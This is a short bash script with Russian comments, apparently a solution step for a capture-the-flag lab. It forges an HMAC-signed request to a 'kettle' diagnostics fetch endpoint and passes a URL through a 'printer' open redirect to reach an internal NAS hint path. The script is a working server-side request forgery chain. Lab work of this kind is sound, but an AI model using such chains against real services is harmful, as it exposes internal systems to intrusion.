#!/usr/bin/env bash
# Параметры из деплоя
PROOF="printer-proof-3d3130"
NONCE="kettle-nonce-74c1"

URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
# Метка времени (секунды)
TS=$(date +%s)

# MAC = HMAC-SHA256(key=PROOF:NONCE, msg="URL\nTS")
KEY="${PROOF}:${NONCE}"
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
echo $MAC
echo $TS
# Запрос
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
  -H "Content-Type: application/json" \
  -d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
